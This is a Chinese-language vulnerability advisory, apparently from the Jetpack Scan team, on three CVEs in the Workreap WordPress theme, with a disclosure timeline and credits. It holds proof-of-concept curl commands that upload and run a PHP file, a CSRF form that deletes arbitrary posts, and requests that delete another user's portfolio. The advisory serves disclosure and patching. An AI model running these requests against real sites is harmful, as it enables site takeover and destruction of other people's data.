Amentotech Workreap 主題中的多個漏洞

已發表: 2021-07-07

最近,Jetpack 團隊在我們託管的客戶網站中發現了一些受感染的文件,並迅速將感染源追溯到 Amentotech 的 Workreap 主題。 我們開始調查並在主題中發現了一些易受攻擊的 AJAX 端點; 其中最嚴重的是未經身份驗證的未經驗證的上傳漏洞,可能導致遠程代碼執行和整個站點的接管。

我們通過 Envato Helpful Hacker 計劃向 Amentotech 團隊報告了這些漏洞,他們迅速解決了這些問題。 該主題的 2.2.2 版本於 2021 年 6 月 29 日發布,修復了發現的漏洞。

TL;博士

由於漏洞的嚴重性,我們強烈建議所有 Workreap 主題用戶盡快升級到 2.2.2 或更高版本。

從主題網站下載升級並手動安裝,或通過 Envato 市場插件自動升級。

細節

主題名稱: Workreap
主題 URI: http://amentotech.com/projects/wpworkreap
作者: Amentotech
作者 URI: https://themeforest.net/user/amentotech/portfolio

漏洞

由於漏洞的嚴重性,我們將延遲發布概念證明和完整分析,以給用戶升級的時間。

未經身份驗證的上傳導致遠程代碼執行

受影響的版本: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284、CWE-641、
CWSS: 90.7
WPScan 鏈接: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

AJAX 操作workreap_award_temp_file_uploaderworkreap_temp_file_uploader沒有執行隨機數檢查,或以任何其他方式驗證請求來自有效用戶。 端點允許將任意文件上傳到uploads/workreap-temp目錄。 上傳的文件既沒有經過清理也沒有經過驗證,允許未經身份驗證的訪問者上傳可執行代碼,例如 php 腳本。

概念證明

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

多個 CSRF + IDOR 漏洞

受影響的版本: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283、CWE-284、CWE-862
CWSS: 78.3
WPScan 鏈接: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Workreap 主題中可用的幾個 AJAX 操作缺乏 CSRF 保護,並且允許未經驗證的不安全直接對象引用 (IDOR)。 這允許攻擊者欺騙登錄用戶向易受攻擊的站點提交 POST 請求,從而可能修改或刪除目標站點上的任意對象。

在 2.0.0 之前的版本中,這些操作完全缺乏身份驗證,並且可以被站點的任何訪問者利用。

概念證明

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

AJAX 操作中缺少授權檢查

受影響的版本: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283、CWE-862
CWSS: 68.5
WPScan 鏈接: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Workreap 主題中可用的幾個 AJAX 操作缺少授權檢查,以驗證用戶是否有權執行關鍵操作,例如修改或刪除對象。 這允許登錄用戶修改或刪除站點上屬於其他用戶的對象。

在 2.0.0 之前的版本中,這些操作完全缺乏身份驗證,並且可以被站點的任何訪問者利用。

概念證明

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

時間線

2021-06-24:Jetpack 掃描團隊發現的初始上傳漏洞,已報告給 Envato Helpful Hacker 程序。
2021-06-25:記錄了發現的更多漏洞,Amentotech 通過 Envato 通知。
2021-06-27:版本 2.2.1 發布,解決了部分但不是全部漏洞。
2021-06-29:版本 2.2.2 發布,並由 Jetpack 掃描團隊驗證修復。

結論

我們建議您檢查您在網站上使用的 Workreap 主題的當前版本,如果低於 2.2.2,請盡快更新!

在 Jetpack,我們努力確保您的網站免受此類漏洞的影響。 要領先任何新威脅一步,請查看 Jetpack Scan,其中包括安全掃描和自動惡意軟件刪除。

學分

原始研究員:Harald Eilertsen

感謝 Jetpack Scan 團隊的其他成員提供反饋、幫助和更正。 還要感謝 Envato Helpful Hacker 計劃的 kailon 幫助與 Amentotech 取得聯繫,並感謝 Amentotech 在解決問題和發布更新版本方面的迅速響應。